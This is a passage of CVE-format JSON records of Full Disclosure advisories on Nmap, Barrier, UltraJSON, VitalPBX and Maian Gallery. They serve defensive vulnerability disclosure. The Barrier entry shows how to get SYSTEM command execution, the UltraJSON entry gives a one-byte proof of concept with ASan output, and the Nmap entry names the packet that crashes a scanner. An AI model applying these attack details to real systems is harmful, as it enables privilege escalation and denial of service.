          "value": "----------------------------------------------------------------------------\nNotCVE Advisory \u2014 NotCVE-2026-0011\n----------------------------------------------------------------------------\n\n[-] Summary:\nNmap 7.99 and earlier contain a loop with an unreachable exit condition in\nthe Packet:parse_options() method of nselib/packet.lua. A remote host that\nis the target of a scan can exhaust the memory of the scanning Nmap process\nand terminate it by replying with a packet that carries a zero-length header\noption. No authentication and no access to the scanning machine are\nrequired: the attacker only needs to be scanned.\nCVSS:3.1 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).\n\n[-] Affected:\nNmap, versions 7.99 and earlier (nselib/packet.lua).\nFixed in commit 7ef4ee0 (2026-06-11). That fix sits above the topmost\nrelease header in the CHANGELOG (Nmap 7.99 [2026-03-26]), so as of this\nwriting it is present only in the development tree and no released version\ncarrying it has been verified.\n\n[-] Technical Description:\nPacket:parse_options(offset, length) walks the option area with a cursor,\nopt_ptr, reading an option type t and, for any type other than 0 (End of\nOption List) or 1 (No-Operation), a length byte l taken from\nself:u8(offset + opt_ptr + 1). The cursor is then advanced by\nopt_ptr = opt_ptr + l.\n\nBefore commit 7ef4ee0 the parser accepted l == 0 without validation, so the\ncursor never advanced and the \"while opt_ptr \u003c length\" condition never\nbecame false. Because the loop body allocated a fresh table with\noptions[op] = {} and incremented op on every pass, the non-terminating loop\nalso grew a table without bound, and the Lua interpreter embedded in Nmap\nconsumed memory until the process died. The options[op] = {} assignment was\npositioned before the length was validated, which is why the loop allocated\nrather than merely spinning.\n\nThe method is reached from tcp_parse(), where the option area length derives\nfrom the TCP data offset field of the received packet. A remote peer\ntherefore controls both the length of the option area and its contents.\nnselib/packet.lua is the packet-dissection library used by NSE scripts that\ncapture and parse raw packets, so exploitation requires the operator to run\na scan that loads such a script against a host the attacker controls.\n\nNothing is persisted and the effect ends with the process, but the attacker\ncan repeat it on every subsequent scan, so the host remains effectively\nunscannable by any script using this library.\n\nCommit 7ef4ee0 (\"Stop parsing on a zero-length packet option\") adds an\n\"if l==0 then break end\" guard before any allocation and moves the\noptions[op] = {} initialisation to after that check. The CHANGELOG entry\nreads \"[NSE][GH#3368] Fixed an out-of-memory issue in packet.lua when\nparsing a zero-length TCP header option.\"\n\nThe step-by-step attack path, the reachability analysis of the IP options\ncode path and the full write-up are published at the advisory URL below.\n\nWeaknesses:\nCWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)\nCWE-400: Uncontrolled Resource Consumption\nCWE-770: Allocation of Resources Without Limits or Throttling\nCAPEC-130: Excessive Allocation\n\n[-] Timeline:\n[28/07/2026] - NotCVE ID reserved.\n[28/07/2026] - Published as NotCVE-2026-0011.\n\n[-] Credit:\nDiscovered by Maxim Suhanov (@errno_fail).\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0011\n\n[-] References:\nhttps://github.com/nmap/nmap/issues/3368\nhttps://github.com/nmap/nmap/commit/7ef4ee030a0023fe22616387a000032e1a678b6a\nhttps://github.com/nmap/nmap/pull/3373\nhttps://raw.githubusercontent.com/nmap/nmap/master/nselib/packet.lua\nhttps://raw.githubusercontent.com/nmap/nmap/master/CHANGELOG\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ \u00b7 Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-770",
              "description": "CWE-770",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-835",
              "description": "CWE-835",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:13:27Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/112"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/112"
        },
        {
          "url": "https://github.com/nmap/nmap/commit/7ef4ee030a0023fe22616387a000032e1a678b6a"
        },
        {
          "url": "https://github.com/nmap/nmap/issues/3368"
        },
        {
          "url": "https://github.com/nmap/nmap/pull/3373"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://notcve.org"
        },
        {
          "url": "https://notcve.org/form/"
        },
        {
          "url": "https://notcve.org/hall/"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0011"
        },
        {
          "url": "https://raw.githubusercontent.com/nmap/nmap/master/CHANGELOG"
        },
        {
          "url": "https://raw.githubusercontent.com/nmap/nmap/master/nselib/packet.lua"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/112"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[NotCVE-2026-0011] Nmap 7.99 and Earlier nselib/packet.lua Zero-Length TCP Option Infinite Loop Allows Remote Denial of Service",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0155",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/112",
            "automated": true,
            "contentSha256": "526e75db3e65ed78ab707f18bcdbc6de452e1ba09cb695995dc1e4c091bc7ef1",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/112",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-19T10:57:53Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T08:13:27Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0155"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Barrier",
          "vendor": "Barrier Project",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "advisories"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "----------------------------------------------------------------------------\nNotCVE Advisory \u2014 NotCVE-2026-0010\n----------------------------------------------------------------------------\n\n[-] Summary:\nBarrier 2.4.0 for Windows contains a local privilege escalation vulnerability\nin the IPC command interface exposed by the barrierd.exe service on\n127.0.0.1:24801. The IPC server accepts local TCP clients and processes a\ncommand line together with a one-byte elevation flag without authenticating the\nconnecting process or verifying that it is authorised to request elevated\nprocess creation. A low-privileged local attacker can therefore execute\narbitrary commands as NT AUTHORITY\\SYSTEM, resulting in complete compromise of\nthe affected host. CVSS:3.1 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\n[-] Affected:\nBarrier (Debauchee), version 2.4.0 for Windows.\nEarlier affected versions have not been established. Barrier is no longer\nmaintained and no patched release has been verified.\n\n[-] Technical Description:\nThe Barrier daemon (barrierd.exe) exposes an IPC server on the loopback\ninterface at TCP port 24801. A client sends an IHEL client hello identifying\nitself as a supported IPC client type, followed by a kIpcCommand (ICMD) message\ncontaining a command line and a one-byte elevation flag.\n\nThe reviewed IPC acceptance and command-processing paths do not authenticate\nthe connecting process, verify its Windows identity, or authorise it to request\nelevated process creation.\n\nWhen the elevation flag is enabled, DaemonApp::handleIpcMessage() forwards the\nsupplied command and elevation value to MSWindowsWatchdog. The watchdog locates\nwinlogon.exe in the relevant Windows session, duplicates its privileged token,\nand supplies the attacker-controlled command line to CreateProcessAsUser. The\ncommand therefore executes as NT AUTHORITY\\SYSTEM.\n\nBarrier additionally stores the last IPC-supplied values in the system settings\nas Command and Elevate. These values are loaded again when the daemon starts\nand passed back to the watchdog, so an attacker-supplied elevated command can\nexecute again after service restarts or system reboots until the stored command\nis cleared.\n\nWeaknesses: CWE-306 (Missing Authentication for Critical Function), CWE-862\n(Missing Authorization). Pattern: CAPEC-69 (Target Programs with Elevated\nPrivileges).\n\nA proof of concept is published in the researcher\u0027s repository (see References).\n\n[-] Timeline:\n[25/07/2026] - NotCVE ID requested.\n[27/07/2026] - NotCVE ID reserved.\n[27/07/2026] - Published as NotCVE-2026-0010.\n\n[-] Credit:\nDiscovered by Christopher Duram\n(https://www.linkedin.com/in/christopherduram/).\n\n[-] References:\nhttps://notcve.org/notcve/NotCVE-2026-0010\nhttps://github.com/cduram/NotCVE-2026-0010\nhttps://github.com/cduram/NotCVE-2026-0010/blob/main/Debauchee_Barrier_Privesc.py\nhttps://github.com/debauchee/barrier/releases/tag/v2.4.0\nhttps://github.com/debauchee/barrier/blob/master/src/lib/ipc/Ipc.h\nhttps://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcServer.cpp\nhttps://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcClientProxy.cpp\nhttps://github.com/debauchee/barrier/blob/master/src/lib/barrier/win32/DaemonApp.cpp\nhttps://github.com/debauchee/barrier/blob/master/src/lib/platform/MSWindowsWatchdog.cpp\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ \u00b7 Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:13:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/111"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/111"
        },
        {
          "url": "https://github.com/cduram/NotCVE-2026-0010"
        },
        {
          "url": "https://github.com/cduram/NotCVE-2026-0010/blob/main/Debauchee_Barrier_Privesc.py"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/barrier/win32/DaemonApp.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/ipc/Ipc.h"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcClientProxy.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcServer.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/blob/master/src/lib/platform/MSWindowsWatchdog.cpp"
        },
        {
          "url": "https://github.com/debauchee/barrier/releases/tag/v2.4.0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://notcve.org"
        },
        {
          "url": "https://notcve.org/form/"
        },
        {
          "url": "https://notcve.org/hall/"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0010"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/christopherduram/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/111"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[NotCVE-2026-0010] Barrier 2.4.0 for Windows Unauthenticated IPC Command Execution Allows Local Privilege Escalation to SYSTEM",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0154",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/111",
            "automated": true,
            "contentSha256": "b503862c9c1f04b93cd69920282a34e82b427d9934123c639e09e579968db961",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/111",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-19T10:57:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T08:13:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0154"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "UltraJSON",
          "vendor": "Ultrajson",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "UltraJSON contains an out-of-bounds read in its native C JSON decoder when\nprocessing certain incomplete JSON values supplied through an explicitly\nlength-bounded input buffer.\n\nThe affected native entry point, JSON_DecodeObject(), accepts both a buffer\npointer and an explicit buffer length:\n\nJSON_DecodeObject(\n    JSONObjectDecoder *dec,\n    const char *buffer,\n    size_t cbBuffer\n)\n\nThe decoder establishes cbBuffer as the logical boundary of the supplied\ninput. However, several parsing paths can advance the internal input cursor\nto this boundary and subsequently dereference it without first verifying\nthat additional input remains.\n\nA minimal one-byte input containing only:\n\n[\n\nis sufficient to reproduce the issue.\n\nWhen an exact one-byte, non-NUL-terminated heap allocation containing 0x5b (\n[) is passed to JSON_DecodeObject() with cbBuffer == 1, decode_array()\nconsumes the opening bracket and advances the decoder cursor to the end of\nthe supplied input.\n\ndecode_array() then calls SkipWhitespace(). Because SkipWhitespace()\nimmediately dereferences the cursor without verifying that it remains below\nds-\u003eend, it performs a one-byte read immediately beyond the supplied buffer.\n\nAddressSanitizer confirms the resulting out-of-bounds read:\n\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\n\n0x502000000011 is located 0 bytes after 1-byte region\n[0x502000000010,0x502000000011)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow\n/src/./src/ujson/lib/ultrajsondec.c:317:13\nin SkipWhitespace\n\nMalformed or truncated JSON should result in a normal decoding error. It\nshould not cause the native decoder to access memory outside the explicitly\nsupplied input boundary.\nAffected Attack Surface\n\nThe vulnerable native decoder entry point is:\n\nsrc/ujson/lib/ultrajsondec.c\n\nthrough:\n\nJSON_DecodeObject(\n    JSONObjectDecoder *dec,\n    const char *buffer,\n    size_t cbBuffer\n)\n\nJSON_DecodeObject() explicitly accepts a buffer length rather than\nrequiring the supplied buffer to be NUL-terminated.\n\nThe decoder initializes its input boundaries using:\n\nds.start = (char *) buffer;\nds.end = ds.start + cbBuffer;\n\nds.end therefore represents the exclusive upper boundary of the supplied\ninput.\n\nAny parser operation that dereferences ds.start or another cursor derived\nfrom it must first establish that the cursor is strictly less than ds.end.\n\nThe vulnerable parser path fails to enforce this invariant.\nVulnerable Code\n\nThe confirmed invalid access occurs in SkipWhitespace():\n\nstatic FASTCALL_ATTR void FASTCALL_MSVC\nSkipWhitespace(struct DecoderState *ds)\n{\n    char *offset = ds-\u003estart;\n\n    for (;;)\n    {\n        switch (*offset)\n        {\n            case \u0027 \u0027:\n            case \u0027\\t\u0027:\n            case \u0027\\r\u0027:\n            case \u0027\\n\u0027:\n                offset++;\n                break;\n\n            default:\n                ds-\u003estart = offset;\n                return;\n        }\n    }\n}\n\nThe function immediately evaluates:\n\n*offset\n\nwithout checking:\n\noffset \u003c ds-\u003eend\n\nConsequently, if a caller reaches SkipWhitespace() after consuming the\nfinal byte of the supplied input:\n\noffset == ds-\u003estart == ds-\u003eend\n\nthe first switch (*offset) operation accesses memory outside the\nlength-bounded input.\nProof of Concept\n\nThe PoC deliberately avoids relying on an implicit trailing NUL byte.\n\nIt allocates exactly one byte:\n\nbuffer = malloc(1);\n\ncopies the payload into that allocation:\n\nmemcpy(buffer, \"[\", 1);\n\nand invokes the decoder with the exact allocation length:\n\nJSON_DecodeObject(\u0026decoder, buffer, 1);\n\nThe supplied allocation therefore contains only:\n\nAddress N:\n    0x5b\n\nThere is intentionally no second byte belonging to the allocation.\n\nThis is consistent with the native API contract because JSON_DecodeObject()\nreceives the input length explicitly through cbBuffer.\nReproduction\n\nFrom the repository root:\n\nscripts/repro_decoder_oob_asan.sh array /tmp/ujson-asan-poc.log\n\nThe harness reports:\n\nseed=array\npayload=[\npayload_hex=5b\n\nFUZZ seed=array len=1 payload=\"[\" hex=5b\n\nThe process subsequently terminates under AddressSanitizer after detecting\nthe invalid memory access.\nAddressSanitizer Evidence\n\nAddressSanitizer identifies the vulnerability as a heap-buffer overflow\ninvolving a one-byte read:\n  ERROR: AddressSanitizer: heap-buffer-overflow\n  READ of size 1 at 0x502000000011 thread T0\n      #0 ... in SkipWhitespace /src/./src/ujson/lib/ultrajsondec.c:317:13\n      #1 ... in decode_array /src/./src/ujson/lib/ultrajsondec.c:617:5\n      #2 ... in decode_any /src/./src/ujson/lib/ultrajsondec.c:780:24\n      #3 ... in JSON_DecodeObject /src/./src/ujson/lib/ultrajsondec.c:822:9\n      #4 ... in run_seed /src/./scripts/decoder_oob_asan_harness.c:150:18\n      #5 ... in main /src/./scripts/decoder_oob_asan_harness.c:171:16\n\n  0x502000000011 is located 0 bytes after 1-byte region\n  [0x502000000010,0x502000000011)\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:13:07Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/106"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/106"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/106"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "UltraJSON v5.13.0-6-g733f9e1 Length-Boundary Violation Causes Out-of-Bounds Read During Incomplete JSON Parsing",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0078",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/106",
            "automated": true,
            "contentSha256": "03c25d20f7df6472c3b422f80972411affc74955c0bf6de1f890b7714e6658c8",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/106",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T12:44:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T08:13:07Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0078"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "VitalPBX",
          "vendor": "Vitalpbx",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in VitalPBX 4.5.2 (Asterisk 20.20.1).\n\nType: Authenticated root RCE via asterisk_cli to dialplan System() (CWE-78)\nCVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)\nImpact: Authenticated escalation from web administrator to root shell on the PBX host, exposing call recordings, SIP \ncredentials, and CDRs.\nAuthentication: authenticated (requires valid session)\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/vitalpbx-authed-asterisk-cli-root-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:12:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/101"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/101"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/vitalpbx-authed-asterisk-cli-root-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/101"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] VitalPBX 4.5.2 (Asterisk 20.20.1) Authenticated root RCE via asterisk_cli to dialplan System() (8.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0142",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/101",
            "automated": true,
            "contentSha256": "a64fd47bb4ac4dd2af8929567f76cbb57bfd955883b9dd7461488f616aceb231",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/101",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-25T17:12:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T08:12:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0142"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Maian Gallery",
          "vendor": "Maianscriptworld",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Maian Gallery v2.1.\n\nType: Authenticated unrestricted file upload to PHP RCE (CWE-434)\nCVSS: 7.2 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\nImpact: Authenticated remote code execution as the web-server user, giving control of gallery files, server data, and \ncommonly the underlying host.\nAuthentication: authenticated (requires valid session)\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/maian-gallery-authed-upload-root-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:12:06Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/97"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/97"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/maian-gallery-authed-upload-root-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/97"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Maian Gallery v2.1 Authenticated unrestricted file upload to PHP RCE (7.2)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0138",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/97",
            "automated": true,
            "contentSha256": "c74c178d713d3d361a3312b7ec1efce58626ad2664dd05f4a3763917cf7c3edf",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/97",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-25T17:11:38Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T08:12:06Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0138"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}